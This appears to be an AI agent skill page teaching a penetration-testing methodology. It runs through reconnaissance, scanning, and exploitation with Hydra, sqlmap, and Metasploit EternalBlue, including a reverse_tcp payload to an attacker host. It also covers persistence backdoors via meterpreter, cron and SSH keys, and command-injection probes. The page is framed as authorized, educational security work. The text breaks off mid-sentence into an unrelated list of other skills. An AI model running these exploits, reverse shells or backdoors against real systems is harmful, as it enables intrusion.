ethical-hacking-methodology
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
What this skill does
> AUTHORIZED USE ONLY: Use this skill only for authorized penetration testing engagements, defensive validation, or controlled educational environments.
# Ethical Hacking Methodology
## Purpose
Master the complete penetration testing lifecycle from reconnaissance through reporting. This skill covers the five stages of ethical hacking methodology, essential tools, attack techniques, and professional reporting for authorized security assessments.
## Prerequisites
### Required Environment
- Kali Linux installed (persistent or live)
- Network access to authorized targets
- Written authorization from system owner
### Required Knowledge
- Basic networking concepts
- Linux command-line proficiency
- Understanding of web technologies
- Familiarity with security concepts
## Outputs and Deliverables
1. **Reconnaissance Report** - Target information gathered
2. **Vulnerability Assessment** - Identified weaknesses
3. **Exploitation Evidence** - Proof of concept attacks
4. **Final Report** - Executive and technical findings
## Core Workflow
### Phase 1: Understanding Hacker Types
Classification of security professionals:
**White Hat Hackers (Ethical Hackers)**
- Authorized security professionals
- Conduct penetration testing with permission
- Goal: Identify and fix vulnerabilities
- Also known as: penetration testers, security consultants
**Black Hat Hackers (Malicious)**
- Unauthorized system intrusions
- Motivated by profit, revenge, or notoriety
- Goal: Steal data, cause damage
- Also known as: crackers, criminal hackers
**Grey Hat Hackers (Hybrid)**
- May cross ethical boundaries
- Not malicious but may break rules
- Often disclose vulnerabilities publicly
- Mixed motivations
**Other Classifications**
- **Script Kiddies**: Use pre-made tools without understanding
- **Hacktivists**: Politically or socially motivated
- **Nation State**: Government-sponsored operatives
- **Coders**: Develop tools and exploits
### Phase 2: Reconnaissance
Gather information without direct system interaction:
**Passive Reconnaissance**
```bash
# WHOIS lookup
whois target.com
# DNS enumeration
nslookup target.com
dig target.com ANY
dig target.com MX
dig target.com NS
# Subdomain discovery
dnsrecon -d target.com
# Email harvesting
theHarvester -d target.com -b all
```
**Google Hacking (OSINT)**
```
# Find exposed files
site:target.com filetype:pdf
site:target.com filetype:xls
site:target.com filetype:doc
# Find login pages
site:target.com inurl:login
site:target.com inurl:admin
# Find directory listings
site:target.com intitle:"index of"
# Find configuration files
site:target.com filetype:config
site:target.com filetype:env
```
**Google Hacking Database Categories:**
- Files containing passwords
- Sensitive directories
- Web server detection
- Vulnerable servers
- Error messages
- Login portals
**Social Media Reconnaissance**
- LinkedIn: Organizational charts, technologies used
- Twitter: Company announcements, employee info
- Facebook: Personal information, relationships
- Job postings: Technology stack revelations
### Phase 3: Scanning
Active enumeration of target systems:
**Host Discovery**
```bash
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
arp-scan -l
# Discover live hosts
nmap -sP 192.168.1.0/24
```
**Port Scanning**
```bash
# TCP SYN scan (stealth)
nmap -sS target.com
# Full TCP connect scan
nmap -sT target.com
# UDP scan
nmap -sU target.com
# All ports scan
nmap -p- target.com
# Top 1000 ports with service detection
nmap -sV target.com
# Aggressive scan (OS, version, scripts)
nmap -A target.com
```
**Service Enumeration**
```bash
# Specific service scripts
nmap --script=http-enum target.com
nmap --script=smb-enum-shares target.com
nmap --script=ftp-anon target.com
# Vulnerability scanning
nmap --script=vuln target.com
```
**Common Port Reference**
| Port | Service | Notes |
|------|---------|-------|
| 21 | FTP | File transfer |
| 22 | SSH | Secure shell |
| 23 | Telnet | Unencrypted remote |
| 25 | SMTP | Email |
| 53 | DNS | Name resolution |
| 80 | HTTP | Web |
| 443 | HTTPS | Secure web |
| 445 | SMB | Windows shares |
| 3306 | MySQL | Database |
| 3389 | RDP | Remote desktop |
### Phase 4: Vulnerability Analysis
Identify exploitable weaknesses:
**Automated Scanning**
```bash
# Nikto web scanner
nikto -h http://target.com
# OpenVAS (command line)
omp -u admin -w password --xml="<get_tasks/>"
# Nessus (via API)
nessuscli scan --target target.com
```
**Web Application Testing (OWASP)**
- SQL Injection
- Cross-Site Scripting (XSS)
- Broken Authentication
- Security Misconfiguration
- Sensitive Data Exposure
- XML External Entities (XXE)
- Broken Access Control
- Insecure Deserialization
- Using Components with Known Vulnerabilities
- Insufficient Logging & Monitoring
**Manual Techniques**
```bash
# Directory brute forcing
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# Subdomain enumeration
gobuster dns -d target.com -w /usr/share/wordlists/subdomains.txt
# Web technology fingerprinting
whatweb target.com
```
### Phase 5: Exploitation
Actively exploit discovered vulnerabilities:
**Metasploit Framework**
```bash
# Start Metasploit
msfconsole
# Search for exploits
msf> search type:exploit name:smb
# Use specific exploit
msf> use exploit/windows/smb/ms17_010_eternalblue
# Set target
msf> set RHOSTS target.com
# Set payload
msf> set PAYLOAD windows/meterpreter/reverse_tcp
msf> set LHOST attacker.ip
# Execute
msf> exploit
```
**Password Attacks**
```bash
# Hydra brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target.com
hydra -L users.txt -P passwords.txt ftp://target.com
# John the Ripper
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
```
**Web Exploitation**
```bash
# SQLMap for SQL injection
sqlmap -u "http://target.com/page.php?id=1" --dbs
sqlmap -u "http://target.com/page.php?id=1" -D database --tables
# XSS testing
# Manual: <script>alert('XSS')</script>
# Command injection testing
# ; ls -la
# | cat /etc/passwd
```
### Phase 6: Maintaining Access
Establish persistent access:
**Backdoors**
```bash
# Meterpreter persistence
meterpreter> run persistence -X -i 30 -p 4444 -r attacker.ip
# SSH key persistence
# Add attacker's public key to ~/.ssh/authorized_keys
# Cron job persistence
echo "* * * * * /tmp/backdoor.sh" >> /etc/crontab
```
**Privilege Escalation**
```bash
# Linux enumeration
linpeas.sh
linux-exploit-suggester.sh
# Windows enumeration
winpeas.exe
windows-exploit-suggester.py
# Check SUID binaries (Linux)
find / -perm -4000 2>/dev/null
# Check sudo permissions
sudo -l
```
**Covering Tracks (Ethical Context)**
- Document all actions taken
- Maintain logs for reporting
- Avoid unnecessary system changes
- Clean up test files and backdoors
### Phase 7: Reporting
Document findings professionally:
**Report Structure**
1. **Executive Summary**
- High-level findings
- Business impact
- Risk ratings
- Remediation priorities
2. **Technical Findings**
- Vulnerability details
- Proof of concept
- Screenshots/evidence
- Affected systems
3. **Risk Ratings**
- Critical: Immediate action required
- High: Address within 24-48 hours
- Medium: Address within 1 week
- Low: Address within 1 month
- Informational: Best practice recommendations
4. **Remediation Recommendations**
- Specific fixes for each finding
- Short-term mitigations
- Long-term solutions
- Resource requirements
5. **Appendices**
- Detailed scan outputs
- Tool configurations
- Testing timeline
- Scope and methodology
### Phase 8: Common Attack Types
**Phishing**
- Email-based credential theft
- Fake login pages
- Malicious attachments
- Social engineering component
**Malware Types**
- **Virus**: Self-replicating, needs host file
- **Worm**: Self-propagating across networks
- **Trojan**: Disguised as legitimate software
- **Ransomware**: Encrypts files for ransom
- **Rootkit**: Hidden system-Related in Security
mac-ops
IncludedComprehensive macOS workstation operations — diagnose kernel panics, identify failing drives, audit launchd startup items, decode wake reasons, triage TCC permission denials, manage APFS snapshots, recover from no-boot. Use for: Mac is slow, slow bootup, won't boot, kernel panic, kernel_task hot, mds_stores CPU, photoanalysisd, cloudd, login loop, gray screen, sleep wake failure, drive failing, IO errors, APFS snapshots eating space, Time Machine local snapshots, Spotlight indexing, launchd, LaunchAgent, LaunchDaemon, login items, TCC permissions, Full Disk Access, Screen Recording denied, Gatekeeper, quarantine, com.apple.quarantine, app is damaged, helper tool, /Library/PrivilegedHelperTools, pmset, wake reasons, dark wake, sysdiagnose, panic.ips, DiagnosticReports, configuration profile, MDM profile, remote diagnostics over SSH.
a11y-audit
IncludedRun accessibility audits on web projects combining automated scanning (axe-core, Lighthouse) with WCAG 2.1 AA compliance mapping, manual check guidance, and structured reporting. Output is configurable: markdown report only, markdown plus machine-readable JSON, or markdown plus issue tracker integration. Use this skill whenever the user mentions "accessibility audit", "a11y audit", "WCAG audit", "accessibility check", "compliance scan", or asks to check a web project for accessibility issues. Also trigger when the user wants to verify WCAG conformance or map findings to a specific standard (CAN-ASC-6.2, EN 301 549, ADA/AODA).
erpclaw
IncludedAI-native ERP system with self-extending OS. Full accounting, invoicing, inventory, purchasing, tax, billing, HR, payroll, advanced accounting (ASC 606/842, intercompany, consolidation), and financial reporting. 413 actions across 14 domains, 43 expansion modules. Constitutional guardrails, adversarial audit, schema migration. Double-entry GL, immutable audit trail, US GAAP.
assess
IncludedAssesses and rates quality 0-10 across multiple dimensions (correctness, maintainability, security, performance, testability, simplicity) with pros/cons analysis. Compares against project conventions and prior decisions from memory. Produces structured evaluation reports with actionable improvement suggestions. Use when evaluating code, designs, architectures, or comparing alternative approaches.
spring-boot-security-jwt
IncludedProvides JWT authentication and authorization patterns for Spring Boot 3.5.x covering token generation with JJWT, Bearer/cookie authentication, database/OAuth2 integration, and RBAC/permission-based access control using Spring Security 6.x. Use when implementing authentication or authorization in Spring Boot applications.
code-hardcode-audit
IncludedDetect hardcoded values, magic numbers, and leaked secrets. TRIGGERS - hardcode audit, magic numbers, PLR2004, secret scanning.